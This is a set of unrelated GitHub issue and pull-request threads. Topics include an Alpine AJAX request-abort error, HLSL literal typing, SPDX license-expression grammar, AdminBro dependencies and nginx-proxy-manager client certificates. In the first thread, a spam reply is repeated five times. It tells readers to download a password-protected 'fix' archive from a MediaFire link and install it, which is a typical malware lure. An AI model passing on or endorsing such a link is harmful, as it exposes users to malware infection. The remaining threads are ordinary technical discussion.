Alpine Expression Error: signal is aborted without reason - After Intensive Infinite Scrolling

Hey!
I'm encountering an error after implementing infinite scrolling. After several scroll events, the console shows the following error:
Alpine Expression Error: signal is aborted without reason

Implementation Details
Main view:

        @foreach($users as $user)

                <x-site.user-card-row :user="$user" />

        @endforeach

query(), ['sort' => $sort, 'category' => $category, 'page' => 2])) }}', { target: 'js-items js-pagination' })">

Load more view:

    @foreach($users as $user)

                <x-site.user-card-row :user="$user" />

    @endforeach

@if($hasMoreUsers)

@endif

Any help or insights into this issue? Thanks!

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Hmm, this might be caused by scrolling too fast. We recently introduced some code that will abort any pending requests for an element before the same element makes a new request.
I bet this is causing a regression in your case. If you scroll to page 3 before page 2 is loaded the page 2 request will be aborted.

Yeah, it's probably that. However, I realized that I don't need alpine-ajax for this project and can simply implement infinite scroll using Alpine.js and Fetch.
Here’s the code.
I hope this helps someone.
Alpine.data('infiniteScroll', () => ({
    isLoading: false,

    loadMore(url) {
        const paginationDiv = document.getElementById('js-pagination');
        const loadingDiv = document.getElementById('js-infinite-loading');

        if (this.isLoading) return; // Prevent multiple requests

        this.isLoading = true;
        loadingDiv.style.display = 'flex';

        fetch(url)
            .then(response => {
                if (!response.ok) {
                    throw new Error(`HTTP error! Status: ${response.status}`);
                }
                return response.text();
            })
            .then(html => {
                const parser = new DOMParser();
                const doc = parser.parseFromString(html, 'text/html');
                const newItems = doc.querySelector('#js-items');

                if (newItems) {
                    document.getElementById('js-items').insertAdjacentHTML('beforeend', newItems.innerHTML);

                    const newPagination = doc.querySelector('#js-pagination');

                    if (newPagination) {
                        paginationDiv.replaceWith(newPagination);
                    } else {
                        paginationDiv.remove();
                    }
                } else {
                    console.error('Error: #js-items element not found in the response.');
                }
            })
            .catch(error => console.error('Error loading more items:', error))
            .finally(() => {
                this.isLoading = false;
                loadingDiv.style.display = 'none';

                if (typeof masonryInstance !== 'undefined') {
                    masonryInstance.layout();
                }
            });
    }
}));

I'm also hitting this error, but not with infinite scrolling, just regular component loading (it works the first few times when I open the page, but then stops working after a few clicks:
Alpine Expression Error: signal is aborted without reason

Expression: "$ajax('body/', { body: { ...queryParams } })"

index/the-page/
          <SomeAstroComponent
            id="some-id"
            class="hidden"
            x-init="$ajax('body/', { body: { ...queryParams } })"
          />

index/
The context is an Unpoly up-target that dynamically updates the dom with the contents of a page when clicked.
Click this to insert the-page/ into the current page's debug-body

This is part of a test to see whether unpoly and alpine can be used in the same project. I suspect that when Unpoly inserts the-page into the dom, that alpine (or alpine-ajax) might get into a state where it can't recover. The only way to solve the issue is to perform a full page reload.

Alrighty, I can reproduce this error now. Working on a fix!

Thanks @imacrayon!


Tracebacks not printing during remote execution

Traceback (most recent call last):
  File "run_job.py", line 86, in <module>
    cp.dump(exc, excfile)
  File "/usr/lib/python2.7/copy_reg.py", line 70, in _reduce_ex
    raise TypeError, "can't pickle %s objects" % base.__name__
TypeError: can't pickle StringO objects

This was fixed at some point :)


CREATE/UPDATE not working ~v1.6.0-beta.5

Hello.
Fatal problems in<EMAIL_ADDRESS>Extremly needs to be fixed.

When creating a session it passes an ampty object to create method in Resource class.

Same problem with "update" operation.

Proof:

which version of admin-bro-express do you use?

Ha ha. 0.2.0 . let me check 0.4.0

I tried admin-bro-expressjs v0.4.0
internal/modules/cjs/loader.js:611
    throw err;
    ^

Error: Cannot find module 'express-formidable'

missing dependency.
But you're right. It works.

@Arteha Were able to login after moving to admin-bro 1.6.0 and admin-bro-expressjs 0.4.0 and admin-bro-mongoose 0.4.0 and fixing the missing dependency issue ? I am unable to do so. It is the following message in the console -
Error: Request aborted [0]     at IncomingMessage.<anonymous> (/home/bishal/Proj-1/hiring-automation/node_modules/formidable/lib/incoming_form.js:122:19) [0]     at IncomingMessage.emit (events.js:198:13) [0]     at abortIncoming (_http_server.js:450:9) [0]     at socketOnEnd (_http_server.js:466:5) [0]     at Socket.emit (events.js:203:15) [0]     at endReadableNT (_stream_readable.js:1145:12) [0]     at process._tickCallback (internal/process/next_tick.js:63:19)

@kiminohero

I tried admin-bro-expressjs v0.4.0
internal/modules/cjs/loader.js:611
    throw err;
    ^

Error: Cannot find module 'express-formidable'

missing dependency.
But you're right. It works.

My error no more occuring after updating admin-bro-expressjs to v0.4.0.
Sorry, I think you took a wrong issue.
But probably problem is in http server.
Could you create a new Issue and describe more wide?


Add ocp logtest

This adds the ability to launch a OCP Logtest job to benchmark log generation and ingestion by Openshift Container Platform (OCP)

Same build failure as #167 and #171


[0017] Begin Review Period

Which proposal does this relate to?
0017 - Conforming Literals
Overview
This sets a review period for the Conforming Literals proposal starting on 4/22/2024 and ending on 4/29/2024 if all feedback is addressed.

In our studio, it is in the coding standard to always use the f suffix  because we were hit by problems in the past where the shaders would use double instead of float, mainly when generating unoptimized shaders with -O0.
There were known problems when you didn't use the f suffix and I am kind of happy to see them solved.
For the integer literals, it is the same thing, we fell in the trap of using literals with RWByteAddressBuffer.Store where it would write 64 bits instead of 32 bits.
Since it happened, we added a coding standard rule where we no longer allow anyone to just put a literal integer as a parameter to a method on an opaque object, just in case. They must now all have a name like:
RWByteAddressBuffer.Store(offset, storedValue);```

For us, conforming literals would be really appreciated.

One piece of feedback that came from a user through an outside communication channel was that it would be nice to be able to test this feature in isolation. We agree.
The current plan for rolling out this feature is to include this feature in a DXC release soon (the next month or two). It is currently the only behavior changing HLSL 202x feature (see: 0020 HLSL 202x & 202y for more details about other 202x features being considered).
At the moment the only other 202x feature being considered is 0003 Numeric Constants, which would be an additive feature that does not remove or change functionality.
Because this is the only behavior changing feature currently under consideration we're not adding a separate flag for it, but passing -HV 202x will enable this behavior (and only this behavior) in DXC once the feature lands.

Will u, ll, ull, f16, f32, f64 suffices be available?

Also in C L suffix on a float means long double which may be one of those 80 bit extended precision things.
GCC implements it as a 128bit float type.
https://godbolt.org/z/nPPre5rx8
and
https://godbolt.org/z/ffa6Y1zeE
So does Clang, only MSVC doesn't.

Will u, ll, ull, f16, f32, f64 suffices be available?

There is no change to the available suffixes or their intended meanings.
Integer literal suffixes are defined in this PR:
https://github.com/microsoft/hlsl-specs/pull/208
Valid suffixes for integers are u, l, ul, and lu. u denotes unsigned, l denotes 64-bit. The ll, ull and llu suffixes will continue to denote 64-bit for portability and convenience but are not included in the standard. I made that decision because HLSL does not have a long long type, so thell suffix isn't really idiomatic to HLSL, it's more of a Windows-ism that ll means 64-bit (this is unchanged from DXC today).
Floating literal suffixes are defined here:
https://github.com/microsoft/hlsl-specs/pull/175
Valid suffixes for floating literals are h, f, and l. The h suffix denotes a half, the f suffix denotes a float, and the l suffix denotes a double (this is unchanged from DXC today).

Also in C L suffix on a float means long double which may be one of those 80 bit extended precision things.
GCC implements it as a 128bit float type. https://godbolt.org/z/nPPre5rx8 and https://godbolt.org/z/ffa6Y1zeE
So does Clang, only MSVC doesn't.

The specific sizes of standard integer and floating point types is not defined in the C or C++ specifications. There is a nice writeup about this on CPP Reference.
The Microsoft C++ ABI (MSVC or Clang-CL) adopts LLP64, and other platforms adopt LP64:

LLP64 or 4/4/8 (int and long are 32-bit, pointer is 64-bit)
LP64 or 4/8/8 (int is 32-bit, long and pointer are 64-bit)

The behavior of double vs long double is even more complicated because it can vary by target architecture as well as C++ ABI. HLSL has no long double type, so the l suffix on a floating literal just means double.

A realistic example where no warning is produced when the interpretation has changed would be when performing some number of min-precision or 16-bit precision operations in an expression, then ultimately assigning the result of that expression to a floating point value.  The expectation is that all the operations would be performed at the lower precision specified, then the promotion happens silently and automatically at the end.  The precision-loss warning will not fire in this case to indicate an area where behavior has changed and code needs to be updated for HLSL 202x.
For an example, you could just change the type of f in my previous comment to float.

This is relying on a warning when implicitly converting some expression result, likely upon assignment to a min-precision variable. It's not clear that it's indicating operations that might have been silently and unintentionally promoted to higher-precision operations. It won't happen if, for some reason, there is an explicit cast making it unnecessary to insert an implicit down-conversion cast.

We can, should, and do, warn on intermediate expression conversions.

If one doesn't fully understand the implications of the warning, they might just insert an explicit cast to silence the warning, not realizing it was evidence that other operations had been promoted to full precision when they might not have meant for that to happen.

Our users are intelligent and well versed in what they do. We shouldn't assume they won't understand a warning or the implications of it. 15 years ago we used compiler implicit conversion warnings to find performance bottlenecks, I'm not sure why we wouldn't expect people to do that today.

min16float x,y;
// ...

// Warning on conversion during assignment to 'f' because
// the '*' and '+' expressions have been promoted to 32-bits.
min16float f = x * 0.5 + y;

// Precision of intermediate operations has been changed, but
// no warning because no implicit down-conversion required.
// This change also looks like what the warning suggests
min16float g = (min16float)(x * 0.5 + y);

// The real fix (no way to specify min-precision literal types)
min16float h = x * (min16float)0.5 + y;

Given all this, I would suggest it could be useful to have a special, DefaultIgnore type promotion warning for when lower (rank) precision types are implicitly promoted to a higher (rank) precision (no precision loss). This would be useful for expression operators and promotions in function overload resolution, though less useful for assignments. It would be ideal if this could be tuned to provide the warning only when the promotion came from an undecorated literal.

These examples do show a gap in the existing warnings, that we should fill for HLSL (and it broadly useful outside this proposal). We do not warn on floating point promotions, but we should since those can have enormous impact on performance. I see no reason why we should only issue this warning on undecorated literals, this seems like something we should emit for all implicit promotions.
I'll update the spec to add these warning cases.

We can, should, and do, warn on intermediate expression conversions.

But we don't for promotions, as you point out later:

These examples do show a gap in the existing warnings, that we should fill for HLSL (and it broadly useful outside this proposal). We do not warn on floating point promotions, but we should since those can have enormous impact on performance.

Exactly, my concern was with this gap.

I see no reason why we should only issue this warning on undecorated literals, this seems like something we should emit for all implicit promotions.

While adding the general promotion warning will close this gap, I fear there may be a lot of noise (and difficulty seeing the signal through that noise) if someone attempts to use this warning to find changes in behavior caused by switching to HLSL 202x, if we provide no easy way to separate pre-existing implicit promotions from unintended ones caused by the literal change.  You could argue that they should always explicitly cast everywhere, but that is unlikely to be consistently followed in practice - implicit casts exist for a reason.
However, this point is minor, and we could adjust to help detect these cases separately in the future if it becomes a significant problem.  One way to do so without any change would be to compare warning output between language versions when enabling this warning.  New instances of the warning should be looked at first for potential changes in behavior when migrating language versions.  That could be a recommendation in our migration guide.

If it wasn't clear, I think the current addition to the spec for -Wdouble-promotion warnings sufficiently addresses the concern for a warning.
However, the spec does not directly mention the impact of the change to type promotions in expressions containing literal values.  This section implies that the only significant impact is in regards to literal evaluation.  I think it's important to explicitly call out the change in rank for undecorated literals, and the expression and function overload type promotion impact this will cause as well.

However, the spec does not directly mention the impact of the change to type promotions in expressions containing literal values. This section implies that the only significant impact is in regards to literal evaluation. I think it's important to explicitly call out the change in rank for undecorated literals, and the expression and function overload type promotion impact this will cause as well.

Updated in #222


[Spotify Beta] Don't pop Spotify window open when something is played

Extension
https://www.raycast.com/mattisssa/spotify-beta
Description
In the earlier extension, Just Play would start playing a song with Spotify in the background, it would not pop the Spotify window open, which it does right now either you Just Play or Search and play. It would be great to just start playing the song with Spotify open in the background without the window pop up.
Who will benefit from this feature?
I am sure everyone!
Anything else?
No response

We're looking into this, to see if its possible with AppleScript. FWIW it should only happen when it uses AppleScript fallback, not when using the API


What does the spec say about parentheses?

The SPDX license expression spec can be interpreted in many different and incompatible ways about the parentheses.
Actually, the new parser considers LGPL-2.1 AND MIT as a valid expression, but many people are saying that complex expressions must be encapsulated with parentheses, and thus LGPL-2.1 AND MIT is invalid. For example:

Any license expression that consists of more than one license identifier and/or LicenseRef should be encapsulated by parentheses.

There are similar parentheses in the examples of the npm doc.
I wrote the new parser mostly according to the formal grammar in the spec. And this grammar allows to omit those parentheses. Here is the proof:

LGPL-2.1 is a simple-expression
MIT is also a simple-expression
A simple-expression is also a compound-expression
LGPL-2.1 AND MIT is a compound-expression
A compound-expression is a license-expression

It looks right.
However, it gets strange just below the grammar:

For the Tag:value format, any license expression that consists of more than one license identifier and/or LicenseRef, should be encapsulated by parentheses: "( )".

(I'm not here to blame the spec but it looks really strange. Why require parentheses? Or why not require parentheses in anyway? It would be much simpler.)
See also this in the SPDX wiki.
So:

Is the SPDX license in npm's package.json file in Tag:value format?
Should the parser accept a tagValueFormat option?
Should this tagValueFormat option be true by default?
In examples, should we boycott useless parentheses or always use them?
Should we ask The Linux Foundation to clarify the spec?
Am I totally wrong?

Thanks.

I just found out this nice Python library which also does not require encapsulating complex expressions with parentheses. There are a lot of tests. Note it is quite relaxed (and not so spec-compliant) since the AND, OR, and WITH operators are case-insensitive.

@motet-a: Great stuff, as always.
You are right that the spec is unclear and incomplete.
We could definitely go to SPDX and suggest improvements.  I've corresponded with the leading force behind the expression syntax in the past. It would be nice to bring a concrete suggestion with us if we do.  Like (E)BNF.
My own personal preference would be to require parentheses.  That means more parentheses, but also less variation.  Since they nest, the grammar must support expressions in parentheses.  Simple expressions without parentheses are the "extra feature".
Side Note: Don't trust the package.json doc too much. I wrote it!

So, commit e9bea12 is a quick draft of this change. Here is the new,
non left-recursive, ABNF grammar used by the parser:
idstring = 1*(ALPHA / DIGIT / "-" / "." )

license-id = <short form license identifier in Appendix I.1>

license-exception-id = <short form license exception identifier in Appendix I.2>

license-ref = ["DocumentRef-"1*(idstring)":"]"LicenseRef-"1*(idstring)

license-plus = license-id["+"]

postfixed-license = (license-ref / license-plus) ["WITH" license-exception-id]

parenthesized-expression = "(" expression ")"

atom = parenthesized-expression / postfixed-license

and-expression = atom ["AND" and-expression]

or-expression = and-expression ["OR" or-expression]

expression = or-expression

tag-value-format-license-expression = parenthesized-expression / license-id / license-ref

Note:

These rule names don’t always match the parser functions and don't
always match the original SPDX rules. I would have liked to match
the spec names but it is not possible. Feel free to rename
everything.

The compound-expression rule in the spec grammar is
splitted into many rules in order to kill left-recursivity and
disambiguate operator precedence.

We don’t care about AND and OR associativity since a AND b
is the same as b AND a and a OR b is the same as b OR a (Well,
at least semantically. I hope no user relies on associativity).

The default “entrypoint” is tag-value-format-license-expression in order to
require parentheses with complex expressions, but if you use expression
instead you get the actual behaviour where parentheses are
optional.

Moreover, the original license-ref rule makes absolutely no sense:
license-ref = ["DocumentRef-"1*(idstring)":"]"LicenseRef-"1*(idstring)

LicenseRef-    abc  def ghi matches license-ref because 1*(idstring) means “one or more idstring” and we assume that tokens are separated with zero or more spaces.
If we assume there are no spaces between tokens, 1*(idstring) still makes no sense because it is exactly the same as idstring.

I think we need some kind of configuration object, like the one introduced in #16. Maybe it could be non-breaking. Do you have any thoughts on this?

I think that since the spec is broken, we should try to fix the spec. If we succeed, it will be clear what we should do in the software: Follow the spec! That will help our friends doing Python and other implementations, too.
@goneall, any chance the Java SPDX tooling has an SPDX expression parser we should know about?

As background and a partial explanation, the use of parenthesis for SPDX license expressions is somewhat confusing and has been heavily discussed in the SPDX tech work group.
The conclusion of the discussions was that the parenthesis is not formally required a complex license expression EXCEPT when a complex license expression is used inside an SPDX tag/value file.  The reason for this is the parsing is ambiguous and unimplementable in a tag/value file without some what of delineating the start and end of the license expression (simple expressions use white space as the delimiter).  We agreed to use parentheses to delineate the beginning and ending of a license expression.
@kestewart You may want to review the comments in this issue for spec improvements.

@kemitchell The SPDX Java tools license expression parser can be found at https://github.com/spdx/tools/blob/master/src/org/spdx/rdfparser/license/LicenseExpressionParser.java

@motet-a, looks like they handle Identifier+ versus Identifier + by postprocessing lexer output:
https://github.com/spdx/tools/blob/3cb54000b9e9c37eaada3cd185053e86cd0b8a06/src/org/spdx/rdfparser/license/LicenseExpressionParser.java#L84
https://github.com/spdx/tools/blob/3cb54000b9e9c37eaada3cd185053e86cd0b8a06/src/org/spdx/rdfparser/license/LicenseExpressionParser.java#L112

@goneall: Any chance the Java implementer worked up an alternative grammar before coding?

@goneall: Do I understand correctly that per the tech group compromise, tag/value files can still have Apache-2.0, as opposed to (Apache-2.0)?

@kemitchell I don't believe an alternative grammar was used - I believe it was hand coded from the spec.

Correct
From: Kyle Mitchell<EMAIL_ADDRESS>Sent: Monday, June 26, 2017 4:13 PM
To: jslicense/spdx-expression-parse.js
Cc: goneall; Mention
Subject: Re: [jslicense/spdx-expression-parse.js] What does the spec say about parentheses? (#20)
@goneall https://github.com/goneall : Do I understand correctly that per the tech group compromise, tag/value files can still have Apache-2.0, as opposed to (Apache-2.0)?
—
You are receiving this because you were mentioned.
Reply to this email directly, view it on GitHub https://github.com/jslicense/spdx-expression-parse.js/issues/20#issuecomment-311207403 , or mute the thread https://github.com/notifications/unsubscribe-auth/AAXFPKbRHOMtjyg8qRMdm1_EUVn4zi6iks5sIDrlgaJpZM4N9RUn .  https://github.com/notifications/beacon/AAXFPPtnGKwgKsGvJ3UAlpIuUQ4AMIv4ks5sIDrlgaJpZM4N9RUn.gif

@kemitchell I wrote a few tokenizers for programming languages with a funny syntax where one does not simply use String.prototype.split() for many reasons (literal strings are the biggest problem) but in this case, it suprisingly seems to work.
In our case, the "no spaces before +" assertion is also a single ifstatement

@motet-a I like your solution a lot. If I were going to port to another language, I'd start with your code.
I'd still like to propose a spec revision that encodes all the relevant parser logic in the grammar. Any issue with treating GPL-2.0 and GPL-2.0+ as distinct token types, say LICENSE and LICENSE-PLUS? Then:
license-plus = LICENSE / LICENSE-PLUS

@kemitchell This is exactly how most programming languages work. Most of them have two grammars:

The lexical grammar describing how to build the tokens from a source string

The parser grammar describing how to build a tree from the tokens

I think the SPDX spec could be much clearer with such a separation.
Moreover, I think the parser grammar in the spec should specify the operator precedence. The actual one is ambiguous:
compound-expression =  simple-expression /
        simple-expression "WITH" license-exception-id /
        compound-expression "AND" compound-expression /
        compound-expression "OR" compound-expression /
        "(" compound-expression ")"

According to this, a AND b OR c could perfectly be parsed as (a AND b) OR c or a AND (b OR c). I know the operator precedence is specified in English in the spec, but I think it is clearer to specify it in the grammar as I did.
@kemitchell In the formal parser grammar, one could write "+" instead of LICENSE-PLUS if the lexical grammar is specified. It is clear that "+" implicitly means “token +” since any terminal is a token. For example, the Python grammar is written this way (since the lexical grammar is obviously separated).

@kemitchell license-plus = LICENSE / LICENSE-PLUS looks wrong to me. Do you mean license-plus = LICENSE [LICENSE-PLUS]?

@motet-a: Forgive me. I was not clear.
I was proposing to emit different token types for GPL-2.0 and GPL-2.0+. GPL-2.0 would continue to be LICENSE. GPL-2.0+ (including +) would be token type LICENSE-PLUS.  So:
license-plus =
    LICENSE      # e.g. `Apache-2.0`
  / LICENSE-PLUS # e.g. `Apache-2.0+`

Then address the difference in the lexical grammar.
By the way, any chance you typed out a lexical grammar for the recent patch to spdx-expression-parse that you could share? If we could start from there and refine to a full, formal spec, I'd take it to the SPDX tech group list immediately.
Thanks for your patience with me.  It's been many years since I did any serious parser work. Pulled out my copy of Grune and Jacobs again, and realized suddenly how much I've forgotten. :frowning_face:

This single LICENSE-PLUS token type makes a lot of sense. Looks better to me than the current two separate tokens.
I think it is better to finish to tweak spdx-expression-parse in order to have a working prototype which complies to a potential future spec before sending any proposal. It is not perfect yet and we could write many more tests.
PS: Well, I have to learn English. My patience is also beneficial to me :-)

@motet-a: Agreed. Let's go ahead and release.
It would be nice to add the grammars we have implemented---parser and lexer---to README, with a note that they differ from the unclear specification in the standard.

Oh, by the way, I wrote my thoughts in this gist.

There is a related bug on the SPDX bugtracker.

@kestewart, @motet-a has done yeoman's work in his gist.
Run by Bill and Mark?

@motet-a the Tag:value format is specifically for RDFa. Not that RDFa can't handle missing brackets.


Adding a toLower to protect source typos ie - geoJson

Adding test to make sure mixed case works
This could be changed to error once error handling is implemented, without this type:geoJson would work fine inside SDK/Redux but does nothing in Open Layer creating a confusing situation.

Coverage increased (+0.003%) to 97.786% when pulling aef5a8b3a87e98b8fccfeaa3b75138cc1248d1bc on wnordmann:addSourceError665 into d7522d659049b87f41739fc6cf6846beb4aa2f18 on boundlessgeo:master.

Coverage increased (+0.01%) to 97.793% when pulling 434e0e3825ab34767ad72fc06f3d9cf8b0c29ada on wnordmann:addSourceError665 into d7522d659049b87f41739fc6cf6846beb4aa2f18 on boundlessgeo:master.

Coverage increased (+0.008%) to 97.791% when pulling 20cce53bb3287d13737910d867f4df0e591e034e on wnordmann:addSourceError665 into d7522d659049b87f41739fc6cf6846beb4aa2f18 on boundlessgeo:master.


Implemented spy.returns, enhanced interface of spy.on

Added spy.returns:
server.isAvailable = chai.spy.returns(true);

expect(server.isAvailable()).to.be.true

And improved interface of spy.on: now it's possible to pass multiple methods
chai.spy.on(server, 'isAvailable restart');
// or
chai.spy.on(server, [ 'isAvailable', 'restart' ]);

chai.spy.on returns created spy if there was passed only one method and returns object if there were passed few methods

I love the idea of both - but having the two as one PRs is a bit difficult for me to review individually. It'd be great if you could break them into two, and we can discuss each one properly.

Ok, I'll remove code from master and create new pull-requests


Update Calico description on 'Cluster Networking' page

This PR updates the description of Calico on the 'Cluster Networking' page: https://kubernetes.io/docs/concepts/cluster-administration/networking/
The current description is a bit dated and doesn't capture the current state of Calico's dataplane options and general platform support. For example, Calico's got an eBPF dataplane and its Windows dataplane has been opensourced.

Page preview:
https://deploy-preview-24730--kubernetes-io-master-staging.netlify.app/docs/concepts/cluster-administration/networking/#how-to-implement-the-kubernetes-networking-model

Nice!
/lgtm

Thanks @lmm .
/approve

Great, thanks @sftim @kbhawkey !


Client certificate support

This PR adds client-certificate support to nginx-proxy-manager. Closes #768. Relates to #622.
A new SSL certificate is defined - "client certificate authority" - which allows uploading client CA certificates. These can then be assigned to Access Lists via the UI or API, and finally the Access List assigned to a host, which will thus enable Client Certificate Authorization for mutual TLS connections to the host.
This includes a slight revamp of the access-list system to implement client IP checks as geo directives. This allows the "Drop Unauthorized" function to simply not respond to clients from the wrong IP address, as well as allowing "Satisfy All" and "Satisfy Any" to include Client CA functionality - namely, using Satisfy Any is it possible to selectively require client certificates from some networks but not others (in my household the primary use-case of this is for Home Assistant to require certificates from the internet but not the local network).

Known Issues

Upgrading with the new access-list code will lead to broken proxies because the new ACL files aren't initially generated. Should this be handled in the migration script?

FYI the CI build is failing because the API returns new fields that are not defined in the Swagger/OpenAPI document:
backend/doc/api.swagger.json

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  | [validateSwaggerSchema DEBUG] Endpoint: /nginx/proxy-hosts

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  | [validateSwaggerSchema DEBUG] Response Schema: {

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "id": 1,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "created_on": "2023-05-29 04:51:09",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "modified_on": "2023-05-29 04:51:09",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "owner_user_id": 1,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "domain_names": [

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "test.example.com"

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   ],

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "forward_host": "<IP_ADDRESS>",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "forward_port": 80,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "access_list_id": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "certificate_id": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "ssl_forced": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "caching_enabled": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "block_exploits": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "advanced_config": "",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "meta": {

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "letsencrypt_agree": false,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "dns_challenge": false

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   },

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "allow_websocket_upgrade": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "http2_support": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "forward_scheme": "http",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "enabled": 1,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "locations": [],

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "hsts_enabled": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "hsts_subdomains": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "drop_unauthorized": false,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "certificate": null,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "owner": {

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "id": 1,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "created_on": "2023-05-29 04:50:35",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "modified_on": "2023-05-29 04:50:35",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "is_deleted": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "is_disabled": 0,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "email"<EMAIL_ADDRESS>
[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "name": "Administrator",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "nickname": "Admin",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "avatar": "",

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     "roles": [

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |       "admin"

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     ]

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   },

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "access_list": null,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "use_default_location": true,

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   "ipv6": false

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  | }

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  | [validateSwaggerSchema ERROR] data should NOT have additional properties

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |     1) Should be able to create a http host

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   0 passing (676ms)

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   1 failing

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |   1) Hosts endpoints

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |        Should be able to create a http host:

[2023-05-29T04:51:09.852Z] npm_pr-2956_7-cypress-sqlite-1  |      AssertionError: expected 'data should NOT have additional properties' to equal null

...
[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "hsts_enabled": 0,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "hsts_subdomains": 0,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "drop_unauthorized": false,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "certificate": null,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |   "owner": {

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "id": 1,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "created_on": "2023-05-29 05:03:42",

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "modified_on": "2023-05-29 05:03:42",

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "is_deleted": 0,

[2023-05-29T05:04:47.969Z] npm_pr-2956_8-cypress-sqlite-1  |     "is_disabled": 0,

